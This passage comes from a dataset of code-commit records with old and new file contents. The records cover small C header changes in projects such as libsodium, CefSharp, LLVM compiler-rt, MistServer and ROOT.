t,nilqed\/root,georgtroska\/root,root-mirror\/root,evgeny-boger\/root,sawenzel\/root,cxx-hep\/root-cern,mattkretz\/root,zzxuanyuan\/root-compressor-dummy,olifre\/root,thomaskeck\/root,esakellari\/root,mattkretz\/root,karies\/root,omazapa\/root,omazapa\/root-old,mattkretz\/root,BerserkerTroll\/root,pspe\/root,bbockelm\/root,simonpf\/root,sirinath\/root,davidlt\/root,zzxuanyuan\/root-compressor-dummy,alexschlueter\/cern-root,Duraznos\/root,agarciamontoro\/root,mattkretz\/root,abhinavmoudgil95\/root,BerserkerTroll\/root,karies\/root,mkret2\/root,vukasinmilosevic\/root,gbitzes\/root,buuck\/root,kirbyherm\/root-r-tools,CristinaCristescu\/root,veprbl\/root,krafczyk\/root,sbinet\/cxx-root,bbockelm\/root,thomaskeck\/root,BerserkerTroll\/root,karies\/root,esakellari\/my_root_for_test,Dr15Jones\/root,kirbyherm\/root-r-tools,esakellari\/root,abhinavmoudgil95\/root,gbitzes\/root,smarinac\/root,sawenzel\/root,Y--\/root,lgiommi\/root,omazapa\/root,Y--\/root,pspe\/root,gbitzes\/root,jrtomps\/root,dfunke\/root,sawenzel\/root,cxx-hep\/root-cern,olifre\/root,mkret2\/root,gbitzes\/root,sirinath\/root,esakellari\/my_root_for_test,georgtroska\/root,cxx-hep\/root-cern,0x0all\/ROOT,kirbyherm\/root-r-tools,strykejern\/TTreeReader,beniz\/root,veprbl\/root,Dr15Jones\/root,perovic\/root,mhuwiler\/rootauto,sbinet\/cxx-root,davidlt\/root,evgeny-boger\/root,esakellari\/root,agarciamontoro\/root,buuck\/root,zzxuanyuan\/root,satyarth934\/root,pspe\/root,zzxuanyuan\/root,krafczyk\/root,georgtroska\/root,veprbl\/root,abhinavmoudgil95\/root,karies\/root,georgtroska\/root,satyarth934\/root,buuck\/root,thomaskeck\/root,arch1tect0r\/root,perovic\/root,esakellari\/my_root_for_test,dfunke\/root,Duraznos\/root,ffurano\/root5,root-mirror\/root,ffurano\/root5,mattkretz\/root,mattkretz\/root,evgeny-boger\/root,sirinath\/root,mhuwiler\/rootauto,gbitzes\/root,arch1tect0r\/root,Duraznos\/root,thomaskeck\/root,root-mirror\/root,gganis\/root,esakellari\/root,abhinavmoudgil95\/root,pspe\/root,olifre\/root,beniz\/root,lgiommi\/root,sirinath\/root,BerserkerTroll\/root,smarinac\/root,smarinac\/root,gganis\/root,georgtroska\/root,zzxuanyuan\/root,agarciamontoro\/root,olifre\/root,dfunke\/root,strykejern\/TTreeReader,0x0all\/ROOT,zzxuanyuan\/root,bbockelm\/root,satyarth934\/root,krafczyk\/root,0x0all\/ROOT,mhuwiler\/rootauto,mhuwiler\/rootauto,sbinet\/cxx-root,kirbyherm\/root-r-tools,gbitzes\/root,tc3t\/qoot,mhuwiler\/rootauto,Y--\/root,alexschlueter\/cern-root,sawenzel\/root,esakellari\/my_root_for_test,vukasinmilosevic\/root,beniz\/root,karies\/root,georgtroska\/root,nilqed\/root,bbockelm\/root,olifre\/root,smarinac\/root,zzxuanyuan\/root-compressor-dummy,evgeny-boger\/root,Y--\/root,sirinath\/root,simonpf\/root,abhinavmoudgil95\/root,beniz\/root,vukasinmilosevic\/root,krafczyk\/root,bbockelm\/root,zzxuanyuan\/root-compressor-dummy,veprbl\/root,veprbl\/root,buuck\/root,alexschlueter\/cern-root,esakellari\/my_root_for_test,perovic\/root,dfunke\/root,veprbl\/root,root-mirror\/root,olifre\/root,mkret2\/root,omazapa\/root,abhinavmoudgil95\/root,mattkretz\/root,sbinet\/cxx-root,CristinaCristescu\/root,karies\/root,agarciamontoro\/root,dfunke\/root,root-mirror\/root,mattkretz\/root,bbockelm\/root,buuck\/root,sbinet\/cxx-root,karies\/root,beniz\/root,lgiommi\/root,CristinaCristescu\/root,mkret2\/root,buuck\/root,dfunke\/root,smarinac\/root,tc3t\/qoot,gganis\/root,beniz\/root,lgiommi\/root,omazapa\/root,CristinaCristescu\/root,gganis\/root,zzxuanyuan\/root,esakellari\/my_root_for_test,sawenzel\/root,nilqed\/root,georgtroska\/root,mhuwiler\/rootauto,CristinaCristescu\/root,perovic\/root,Dr15Jones\/root,BerserkerTroll\/root,zzxuanyuan\/root,kirbyherm\/root-r-tools,mattkretz\/root,veprbl\/root,Y--\/root,olifre\/root,mkret2\/root,satyarth934\/root,zzxuanyuan\/root-compressor-dummy,nilqed\/root,davidlt\/root,simonpf\/root,krafczyk\/root,esakellari\/my_root_for_test,sirinath\/root,Duraznos\/root,beniz\/root,abhinavmoudgil95\/root,zzxuanyuan\/root-compressor-dummy,smarinac\/root,cxx-hep\/root-cern,veprbl\/root,esakellari\/root,thomaskeck\/root,simonpf\/root,strykejern\/TTreeReader,omazapa\/root,davidlt\/root,agarciamontoro\/root,simonpf\/root,krafczyk\/root,zzxuanyuan\/root,perovic\/root,BerserkerTroll\/root,jrtomps\/root,Dr15Jones\/root,thomaskeck\/root,bbockelm\/root,CristinaCristescu\/root,pspe\/root,nilqed\/root,zzxuanyuan\/root-compressor-dummy,davidlt\/root,sbinet\/cxx-root,satyarth934\/root,sawenzel\/root,simonpf\/root,esakellari\/root,georgtroska\/root,davidlt\/root,perovic\/root,tc3t\/qoot,omazapa\/root,tc3t\/qoot,sirinath\/root,kirbyherm\/root-r-tools,jrtomps\/root,CristinaCristescu\/root,perovic\/root,krafczyk\/root,tc3t\/qoot,jrtomps\/root,vukasinmilosevic\/root,omazapa\/root-old,arch1tect0r\/root,nilqed\/root,Duraznos\/root,mhuwiler\/rootauto,arch1tect0r\/root,sawenzel\/root,davidlt\/root,omazapa\/root-old,omazapa\/root,esakellari\/root,buuck\/root,mkret2\/root,sawenzel\/root,jrtomps\/root,zzxuanyuan\/root-compressor-dummy,jrtomps\/root,krafczyk\/root,bbockelm\/root,evgeny-boger\/root,evgeny-boger\/root,omazapa\/root-old,tc3t\/qoot,karies\/root,sbinet\/cxx-root,vukasinmilosevic\/root,Dr15Jones\/root,mhuwiler\/rootauto,tc3t\/qoot,thomaskeck\/root,Y--\/root,arch1tect0r\/root,tc3t\/qoot,omazapa\/root-old,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root-compressor-dummy,krafczyk\/root,omazapa\/root-old,agarciamontoro\/root,evgeny-boger\/root,omazapa\/root-old,vukasinmilosevic\/root,agarciamontoro\/root,arch1tect0r\/root,nilqed\/root,mkret2\/root,gbitzes\/root,thomaskeck\/root,esakellari\/root,alexschlueter\/cern-root,0x0all\/ROOT,thomaskeck\/root,jrtomps\/root,nilqed\/root,dfunke\/root,strykejern\/TTreeReader,Duraznos\/root,Duraznos\/root,gbitzes\/root,omazapa\/root,tc3t\/qoot,jrtomps\/root,strykejern\/TTreeReader,cxx-hep\/root-cern,BerserkerTroll\/root,satyarth934\/root,simonpf\/root,ffurano\/root5,Y--\/root,CristinaCristescu\/root,evgeny-boger\/root,omazapa\/root,sbinet\/cxx-root,krafczyk\/root,buuck\/root,dfunke\/root,davidlt\/root,ffurano\/root5,nilqed\/root,buuck\/root,smarinac\/root,abhinavmoudgil95\/root,buuck\/root,thomaskeck\/root,Y--\/root,smarinac\/root,jrtomps\/root,pspe\/root,cxx-hep\/root-cern,ffurano\/root5,pspe\/root,gganis\/root,sirinath\/root,BerserkerTroll\/root,sirinath\/root,satyarth934\/root,gganis\/root,mkret2\/root,simonpf\/root,veprbl\/root,perovic\/root,jrtomps\/root,beniz\/root,esakellari\/my_root_for_test,arch1tect0r\/root,veprbl\/root,arch1tect0r\/root,satyarth934\/root,vukasinmilosevic\/root,perovic\/root,BerserkerTroll\/root,vukasinmilosevic\/root,omazapa\/root-old,evgeny-boger\/root,sbinet\/cxx-root,agarciamontoro\/root,0x0all\/ROOT,satyarth934\/root,0x0all\/ROOT,satyarth934\/root"}
{"commit":"c44c18c4d13d6fde1d38e603f00029deaf7ff002","old_file":"src\/libc4\/include\/util\/error.h","new_file":"src\/libc4\/include\/util\/error.h","old_contents":"#ifndef ERROR_H\n#define ERROR_H\n\n\/*\n * Note that we include \"fmt\" in the variadic argument list, because C99\n * apparently doesn't allow variadic macros to be invoked without any vargs\n * parameters.\n *\/\n#define ERROR(...)      var_error(__FILE__, __LINE__, __VA_ARGS__)\n#define FAIL()          simple_error(__FILE__, __LINE__)\n#define FAIL_APR(s)     apr_error((s), __FILE__, __LINE__)\n#define FAIL_SQLITE(c)  sqlite_error((c), __FILE__, __LINE__)\n\n#ifdef ASSERT_ENABLED\n#define ASSERT(cond)    \\\n    do {                \\\n        if (!(cond))    \\\n            assert_fail(APR_STRINGIFY(cond), __FILE__, __LINE__);   \\\n    } while (0)\n#else\n#define ASSERT(cond)\n#endif\n\nvoid apr_error(apr_status_t s, const char *file, int line_num) __attribute__((noreturn));\nvoid sqlite_error(C4Runtime *c4, const char *file, int line_num) __attribute__((noreturn));\nvoid simple_error(const char *file, int line_num) __attribute__((noreturn));\nvoid var_error(const char *file, int line_num,\n               const char *fmt, ...) __attribute__((format(printf, 3, 4), noreturn));\n\nvoid assert_fail(const char *cond, const char *file, int line_num) __attribute__((noreturn));\n\n#endif  \/* ERROR_H *\/\n","new_contents":"#ifndef ERROR_H\n#define ERROR_H\n\n\/*\n * Note that we include \"fmt\" in the variadic argument list, because C99\n * apparently doesn't allow variadic macros to be invoked without any vargs\n * parameters.\n *\/\n#define ERROR(...)      var_error(__FILE__, __LINE__, __VA_ARGS__)\n#define FAIL()          simple_error(__FILE__, __LINE__)\n#define FAIL_APR(s)     apr_error((s), __FILE__, __LINE__)\n#define FAIL_SQLITE(c)  sqlite_error((c), __FILE__, __LINE__)\n\n#ifdef C4_ASSERT_ENABLED\n#define ASSERT(cond)    \\\n    do {                \\\n        if (!(cond))    \\\n            assert_fail(APR_STRINGIFY(cond), __FILE__, __LINE__);   \\\n    } while (0)\n#else\n#define ASSERT(cond)\n#endif\n\nvoid apr_error(apr_status_t s, const char *file, int line_num) __attribute__((noreturn));\nvoid sqlite_error(C4Runtime *c4, const char *file, int line_num) __attribute__((noreturn));\nvoid simple_error(const char *file, int line_num) __attribute__((noreturn));\nvoid var_error(const char *file, int line_num,\n               const char *fmt, ...) __attribute__((format(printf, 3, 4), noreturn));\n\nvoid assert_fail(const char *cond, const char *file, int line_num) __attribute__((noreturn));\n\n#endif  \/* ERROR_H *\/\n","subject":"Fix braindamage: assertions were not enabled in debug builds.","message":"Fix braindamage: assertions were not enabled in debug builds.\n","lang":"C","license":"mit","repos":"bloom-lang\/c4,bloom-lang\/c4,bloom-lang\/c4"}
{"commit":"42d51980ef24c2e9b93fcfd2d3aa8c0e50dc27a7","old_file":"CefSharp.Core\/RequestContext.h","new_file":"CefSharp.Core\/RequestContext.h","old_contents":"\/\/ Copyright  2010-2014 The CefSharp Authors. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n#include \"Internals\\MCefRefPtr.h\"\n#include \"RequestContextSettings.h\"\n#include \"include\\cef_request_context.h\"\n\nusing namespace CefSharp;\n\nnamespace CefSharp\n{\n    public ref class RequestContext\n    {\n    private:\n        MCefRefPtr<CefRequestContext> _requestContext;\n        RequestContextSettings^ _settings;\n    public:\n        RequestContext()\n        {\n            CefRequestContextSettings settings;\n            _requestContext = CefRequestContext::CreateContext(settings, NULL);\n        }\n\n        RequestContext(RequestContextSettings^ settings) : _settings(settings)\n        {\n            _requestContext = CefRequestContext::CreateContext(settings, NULL);\n        }\n\n        !RequestContext()\n        {\n            _requestContext = NULL;\n        }\n\n        ~RequestContext()\n        {\n            this->!RequestContext();\n\n            delete _settings;\n        }\n\n        operator CefRefPtr<CefRequestContext>()\n        {\n            return _requestContext.get();\n        }\n    };\n}","new_contents":"\/\/ Copyright  2010-2014 The CefSharp Authors. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n#include \"Internals\\MCefRefPtr.h\"\n#include \"RequestContextSettings.h\"\n#include \"include\\cef_request_context.h\"\n\nusing namespace CefSharp;\n\nnamespace CefSharp\n{\n    public ref class RequestContext\n    {\n    private:\n        MCefRefPtr<CefRequestContext> _requestContext;\n        RequestContextSettings^ _settings;\n    public:\n        RequestContext()\n        {\n            CefRequestContextSettings settings;\n            _requestContext = CefRequestContext::CreateContext(settings, NULL);\n        }\n\n        RequestContext(RequestContextSettings^ settings) : _settings(settings)\n        {\n            _requestContext = CefRequestContext::CreateContext(settings, NULL);\n        }\n\n        !RequestContext()\n        {\n            _requestContext = NULL;\n        }\n\n        ~RequestContext()\n        {\n            this->!RequestContext();\n\n            delete _settings;\n        }\n\n        operator CefRefPtr<CefRequestContext>()\n        {\n            if(this == nullptr)\n            {\n                return NULL;\n            }\n            return _requestContext.get();\n        }\n    };\n}","subject":"Add nullptr check and return NULL for implicitor operator when object is not initialized","message":"Add nullptr check and return NULL for implicitor operator when object is not initialized\n","lang":"C","license":"bsd-3-clause","repos":"jamespearce2006\/CefSharp,dga711\/CefSharp,twxstar\/CefSharp,battewr\/CefSharp,windygu\/CefSharp,Haraguroicha\/CefSharp,yoder\/CefSharp,gregmartinhtc\/CefSharp,rlmcneary2\/CefSharp,Livit\/CefSharp,windygu\/CefSharp,joshvera\/CefSharp,yoder\/CefSharp,jamespearce2006\/CefSharp,AJDev77\/CefSharp,ITGlobal\/CefSharp,ITGlobal\/CefSharp,VioletLife\/CefSharp,battewr\/CefSharp,NumbersInternational\/CefSharp,Haraguroicha\/CefSharp,haozhouxu\/CefSharp,NumbersInternational\/CefSharp,AJDev77\/CefSharp,windygu\/CefSharp,illfang\/CefSharp,dga711\/CefSharp,dga711\/CefSharp,wangzheng888520\/CefSharp,twxstar\/CefSharp,illfang\/CefSharp,rlmcneary2\/CefSharp,gregmartinhtc\/CefSharp,yoder\/CefSharp,VioletLife\/CefSharp,rlmcneary2\/CefSharp,ruisebastiao\/CefSharp,haozhouxu\/CefSharp,Livit\/CefSharp,rlmcneary2\/CefSharp,gregmartinhtc\/CefSharp,twxstar\/CefSharp,zhangjingpu\/CefSharp,jamespearce2006\/CefSharp,wangzheng888520\/CefSharp,illfang\/CefSharp,haozhouxu\/CefSharp,battewr\/CefSharp,wangzheng888520\/CefSharp,twxstar\/CefSharp,jamespearce2006\/CefSharp,ITGlobal\/CefSharp,haozhouxu\/CefSharp,windygu\/CefSharp,AJDev77\/CefSharp,Livit\/CefSharp,ruisebastiao\/CefSharp,dga711\/CefSharp,AJDev77\/CefSharp,Haraguroicha\/CefSharp,battewr\/CefSharp,zhangjingpu\/CefSharp,ruisebastiao\/CefSharp,joshvera\/CefSharp,jamespearce2006\/CefSharp,ruisebastiao\/CefSharp,NumbersInternational\/CefSharp,illfang\/CefSharp,Haraguroicha\/CefSharp,zhangjingpu\/CefSharp,Haraguroicha\/CefSharp,VioletLife\/CefSharp,joshvera\/CefSharp,ITGlobal\/CefSharp,NumbersInternational\/CefSharp,joshvera\/CefSharp,gregmartinhtc\/CefSharp,Livit\/CefSharp,wangzheng888520\/CefSharp,VioletLife\/CefSharp,zhangjingpu\/CefSharp,yoder\/CefSharp"}
{"commit":"f606322980ae5739c9358a5b374da676ce796627","old_file":"include\/common.h","new_file":"include\/common.h","old_contents":"\/**\n * common.h\n *\n * Copyright (C) 2017 Nickolas Burr <nickolasburr@gmail.com>\n *\/\n\n#ifndef GIT_STASHD_COMMON_H\n#define GIT_STASHD_COMMON_H\n\n#include <errno.h>\n#include <stddef.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#define _GNU_SOURCE\n\n#define NOOPT_FOUND_V -1\n#define CLEAN_CATCH_V -2\n\n#endif\n","new_contents":"\/**\n * common.h\n *\n * Copyright (C) 2017 Nickolas Burr <nickolasburr@gmail.com>\n *\/\n\n#ifndef GIT_STASHD_COMMON_H\n#define GIT_STASHD_COMMON_H\n\n#include <errno.h>\n#include <stddef.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#define _GNU_SOURCE\n\n#define NULL_BYTE 1\n#define NOT_FOUND -1\n#define ERR_CATCH -2\n\n#endif\n","subject":"Add NULL_BYTE macro, rename others","message":"Add NULL_BYTE macro, rename others\n","lang":"C","license":"mit","repos":"nickolasburr\/git-stashd,nickolasburr\/git-stashd,nickolasburr\/git-stashd"}
{"commit":"3fbbffc2c6a09a8faffcbd40645029d41d1044ad","old_file":"test\/default\/cmptest.h","new_file":"test\/default\/cmptest.h","old_contents":"\n#ifndef __CMPTEST_H__\n#define __CMPTEST_H__\n\n#include <stdio.h>\n\n#include \"sodium.h\"\n\n#define TEST_NAME_RES TEST_NAME \".res\"\n#define TEST_NAME_OUT TEST_SRCDIR \"\/\" TEST_NAME \".exp\"\n\n#ifdef HAVE_ARC4RANDOM\n# undef rand\n# define rand(X) arc4random(X)\n#endif\n\nFILE *fp_res;\nint   xmain(void);\n\nint main(void)\n{\n    FILE *fp_out;\n    int   c;\n\n    if ((fp_res = fopen(TEST_NAME_RES, \"w+\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_RES \")\");\n        return 99;\n    }\n    if (sodium_init() != 0) {\n        return 99;\n    }\n    xmain();\n    rewind(fp_res);\n    if ((fp_out = fopen(TEST_NAME_OUT, \"r\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_OUT \")\");\n        return 99;\n    }\n    do {\n        if ((c = fgetc(fp_res)) != fgetc(fp_out)) {\n            return 99;\n        }\n    } while (c != EOF);\n\n    return 0;\n}\n\n#undef  printf\n#define printf(...) fprintf(fp_res, __VA_ARGS__)\n#define main xmain\n\n#endif\n","new_contents":"\n#ifndef __CMPTEST_H__\n#define __CMPTEST_H__\n\n#include <stdio.h>\n\n#include \"sodium.h\"\n\n#define TEST_NAME_RES TEST_NAME \".res\"\n#define TEST_NAME_OUT TEST_SRCDIR \"\/\" TEST_NAME \".exp\"\n\n#ifdef HAVE_ARC4RANDOM\n# undef rand\n# define rand(X) arc4random(X)\n#endif\n\nFILE *fp_res;\nint   xmain(void);\n\nint main(void)\n{\n    FILE *fp_out;\n    int   c;\n\n    if ((fp_res = fopen(TEST_NAME_RES, \"w+\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_RES \")\");\n        return 99;\n    }\n    if (sodium_init() != 0) {\n        return 99;\n    }\n    if (xmain() != 0) {\n        return 99;\n    }\n    rewind(fp_res);\n    if ((fp_out = fopen(TEST_NAME_OUT, \"r\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_OUT \")\");\n        return 99;\n    }\n    do {\n        if ((c = fgetc(fp_res)) != fgetc(fp_out)) {\n            return 99;\n        }\n    } while (c != EOF);\n\n    return 0;\n}\n\n#undef  printf\n#define printf(...) fprintf(fp_res, __VA_ARGS__)\n#define main xmain\n\n#endif\n","subject":"Check xmain() return code in tests.","message":"Check xmain() return code in tests.\n","lang":"C","license":"isc","repos":"Payshare\/libsodium,Payshares\/libsodium,donpark\/libsodium,netroby\/libsodium,mvduin\/libsodium,akkakks\/libsodium,Payshares\/libsodium,tml\/libsodium,donpark\/libsodium,pmienk\/libsodium,akkakks\/libsodium,optedoblivion\/android_external_libsodium,GreatFruitOmsk\/libsodium,paragonie-scott\/libsodium,donpark\/libsodium,GreatFruitOmsk\/libsodium,kytvi2p\/libsodium,SpiderOak\/libsodium,JackWink\/libsodium,JackWink\/libsodium,pyparallel\/libsodium,pmienk\/libsodium,rustyhorde\/libsodium,soumith\/libsodium,Payshare\/libsodium,paragonie-scott\/libsodium,soumith\/libsodium,netroby\/libsodium,eburkitt\/libsodium,HappyYang\/libsodium,pyparallel\/libsodium,eburkitt\/libsodium,pyparallel\/libsodium,kytvi2p\/libsodium,soumith\/libsodium,rustyhorde\/libsodium,zhuqling\/libsodium,zhuqling\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,pmienk\/libsodium,Payshares\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,SpiderOak\/libsodium,tml\/libsodium,Payshare\/libsodium,SpiderOak\/libsodium,optedoblivion\/android_external_libsodium,GreatFruitOmsk\/libsodium,HappyYang\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,akkakks\/libsodium,mvduin\/libsodium,paragonie-scott\/libsodium,rustyhorde\/libsodium,tml\/libsodium,eburkitt\/libsodium,zhuqling\/libsodium,netroby\/libsodium,kytvi2p\/libsodium,JackWink\/libsodium,akkakks\/libsodium,optedoblivion\/android_external_libsodium,SpiderOak\/libsodium,rustyhorde\/libsodium,mvduin\/libsodium,HappyYang\/libsodium"}
{"commit":"a67b4a35ab897730d7847a96ca4b20925e0c7c38","old_file":"test\/profile\/instrprof-error.c","new_file":"test\/profile\/instrprof-error.c","old_contents":"\/\/ RUN: %clang_profgen -o %t -O3 %s\n\/\/ RUN: env LLVM_PROFILE_FILE=\"%t\/\" LLVM_PROFILE_VERBOSE_ERRORS=1 %run %t 1 2>&1 | FileCheck %s\n\nint main(int argc, const char *argv[]) {\n  if (argc < 2)\n    return 1;\n  return 0;\n}\n\/\/ CHECK: LLVM Profile: Failed to write file \n","new_contents":"\/\/ RUN: %clang_profgen -o %t -O3 %s\n\/\/ RUN: env LLVM_PROFILE_FILE=%t\/ LLVM_PROFILE_VERBOSE_ERRORS=1 %run %t 1 2>&1 | FileCheck %s\n\nint main(int argc, const char *argv[]) {\n  if (argc < 2)\n    return 1;\n  return 0;\n}\n\/\/ CHECK: LLVM Profile: Failed to write file \n","subject":"Remove quotes around env variable, NFC","message":"[profile] Remove quotes around env variable, NFC\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@264824 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"f8c8f68c19c6fdb074047ebd0d05f5595a6a5686","old_file":"src\/output\/output_hls.h","new_file":"src\/output\/output_hls.h","old_contents":"#include \"output_http.h\"\n#include \"output_ts_base.h\"\n\nnamespace Mist{\n  class OutHLS : public TSOutput{\n  public:\n    OutHLS(Socket::Connection &conn);\n    ~OutHLS();\n    static void init(Util::Config *cfg);\n    void sendTS(const char *tsData, size_t len = 188);\n    void sendNext();\n    void onHTTP();\n    bool isReadyForPlay();\n    virtual void onFail(const std::string &msg, bool critical = false);\n\n  protected:\n    std::string h264init(const std::string &initData);\n    std::string h265init(const std::string &initData);\n\n    bool hasSessionIDs(){return !config->getBool(\"mergesessions\");}\n    std::string liveIndex();\n    std::string liveIndex(size_t tid, const std::string &sessId);\n\n    size_t vidTrack;\n    size_t audTrack;\n    uint64_t until;\n  };\n}\/\/ namespace Mist\n\ntypedef Mist::OutHLS mistOut;\n","new_contents":"#include \"output_http.h\"\n#include \"output_ts_base.h\"\n\nnamespace Mist{\n  class OutHLS : public TSOutput{\n  public:\n    OutHLS(Socket::Connection &conn);\n    ~OutHLS();\n    static void init(Util::Config *cfg);\n    void sendTS(const char *tsData, size_t len = 188);\n    void sendNext();\n    void onHTTP();\n    bool isReadyForPlay();\n    virtual void onFail(const std::string &msg, bool critical = false);\n    virtual std::string getStatsName(){return Output::getStatsName();}\n  protected:\n    std::string h264init(const std::string &initData);\n    std::string h265init(const std::string &initData);\n\n    bool hasSessionIDs(){return !config->getBool(\"mergesessions\");}\n    std::string liveIndex();\n    std::string liveIndex(size_t tid, const std::string &sessId);\n\n    size_t vidTrack;\n    size_t audTrack;\n    uint64_t until;\n  };\n}\/\/ namespace Mist\n\ntypedef Mist::OutHLS mistOut;\n","subject":"Fix HLS being seen as input during init","message":"Fix HLS being seen as input during init\n","lang":"C","license":"unlicense","repos":"DDVTECH\/mistserver,DDVTECH\/mistserver,DDVTECH\/mistserver,DDVTECH\/mistserver,DDVTECH\/mistserver"}
{"commit":"21dbe15f7dd0f0511bc0178d142213c3fadfcb99","old_file":"arch\/arm\/mach-w90x900\/include\/mach\/regs-usb.h","new_file":"arch\/arm\/mach-w90x900\/include\/mach\/regs-usb.h","old_contents":"","new_contents":"\/*\n * arch\/arm\/mach-w90x900\/include\/mach\/regs-usb.h\n *\n * Copyright (c) 2008 Nuvoton technology corporation.\n *\n * Wan ZongShun <mcuos.com@gmail.com>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation;version 2 of the License.\n *\n *\/\n\n#ifndef __ASM_ARCH_REGS_USB_H\n#define __ASM_ARCH_REGS_USB_H\n\n\/* usb Control Registers  *\/\n#define USBH_BA\t\tW90X900_VA_USBEHCIHOST\n#define USBD_BA\t\tW90X900_VA_USBDEV\n#define USBO_BA\t\tW90X900_VA_USBOHCIHOST\n\n\/* USB Host Control Registers *\/\n#define REG_UPSCR0\t(USBH_BA+0x064)\n#define REG_UPSCR1\t(USBH_BA+0x068)\n#define REG_USBPCR0\t(USBH_BA+0x0C4)\n#define REG_USBPCR1\t(USBH_BA+0x0C8)\n\n\/* USBH OHCI Control Registers *\/\n#define REG_OpModEn\t(USBO_BA+0x204)\n\/*This bit controls the polarity of over\n*current flag from external power IC.\n*\/\n#define OCALow\t\t0x08\n\n#endif \/*  __ASM_ARCH_REGS_USB_H *\/\n","subject":"Add Usb register controller header file dfine","message":"[ARM] 5499\/1: Add Usb register controller header file dfine\n\nAdd Usb register controller header file dfine.\nw90p910 usb ip is standard,but some mutifunction\ncontroll pin must be special define in w90p910\n\nSigned-off-by: Wan ZongShun <7d90017055ae88f9b614c1a99b7a29176cffa725@gmail.com>\nSigned-off-by: Russell King <f6aa0246ff943bfa8602cdf60d40c481b38ed232@arm.linux.org.uk>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"4eaa650e89278c8f6e3defd636433629d6bc2770","old_file":"src\/main\/entity\/components\/SkillComponent.h","new_file":"src\/main\/entity\/components\/SkillComponent.h","old_contents":"#ifndef SKILLCOMPONENT_H_\n#define SKILLCOMPONENT_H_\n\n\/**\n * Enumeration for identifying different skills.\n *\/\nenum skill_t {\n\tMelee,\n\tSwords,\n\tBastardSword,\n\tMaces,\n\tSpikedMace,\n\tFirstAid\n};\n\n\/**\n * Data structure to represent an Entity's skill.\n *\/\ntypedef struct\n{\n\tskill_t skill; \/\/\/< The type of skill\n\tint ranks; \/\/\/< Current ranks in the skill\n\tint xp; \/\/\/< Amount of XP earned towards next rank\n} SkillComponent;\n\n#endif\n","new_contents":"#ifndef SKILLCOMPONENT_H_\n#define SKILLCOMPONENT_H_\n\n\/**\n * Data structure to represent an Entity's skill.\n *\/\ntypedef struct\n{\n\tint ranks; \/\/\/< Current ranks in the skill\n\tint xp; \/\/\/< Amount of XP earned towards next rank\n} SkillComponent;\n\n\/**\n * Enumeration for identifying different skills.\n *\/\nenum skill_t {\n\tNOSKILL,\n\tMelee,\n\tSwords,\n\tBastardSword,\n\tMaces,\n\tSpikedMace,\n\tFirstAid\n};\n\n\/**\n * This array defines our parent skill relationships.\n *\n * If a skill's parent is NOSKILL, it has no parent.\n *\/\nconst skill_t* PARENT_SKILLS = { NOSKILL, NOSKILL, Melee, Swords, Melee, Maces, NOSKILL };\n\n#endif\n","subject":"Add NOSKILL skill type, remove from component","message":"Add NOSKILL skill type, remove from component\n\nThe component will be going into a MultiComponentManager, so it will already be indexed by skill_t; storing skill_t in the component as well is redundant, unnecessary, and redundant.\n","lang":"C","license":"mit","repos":"Kromey\/roglick"}
{"commit":"631e13f0aac39105f7837035cffccf9c48fe16ab","old_file":"mc\/inc\/LinkDef.h","new_file":"mc\/inc\/LinkDef.h","old_contents":"\/\/ @(#)root\/mc:$Name:  $:$Id: LinkDef.h,v 1.2 2002\/04\/26 08:46:10 brun Exp $\n#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n \n#pragma link C++ global gMC;\n \n#pragma link C++ enum PDG_t;\n#pragma link C++ enum TMCProcess;\n\n#pragma link C++ class  TVirtualMC+;\n#pragma link C++ class  TVirtualMCApplication+;\n#pragma link C++ class  TVirtualMCStack+;\n#pragma link C++ class  TVirtualMCDecayer+;\n\n#endif\n\n\n\n\n\n","new_contents":"\/\/ @(#)root\/mc:$Name:  $:$Id: LinkDef.h,v 1.2 2002\/04\/26 09:25:02 brun Exp $\n#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n \n#pragma link C++ global gMC;\n \n#pragma link C++ enum PDG_t;\n#pragma link C++ enum TMCProcess;\n\n#pragma link C++ class  TVirtualMC+;\n#pragma link C++ class  TVirtualMCApplication+;\n#pragma link C++ class  TVirtualMCStack+;\n#pragma link C++ class  TVirtualMCDecayer+;\n#pragma link C++ class  TMCVerbose+;\n\n#endif\n\n\n\n\n\n","subject":"Add TMCVerbose to the list of mc classes","message":"Add TMCVerbose to the list of mc classes\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@6190 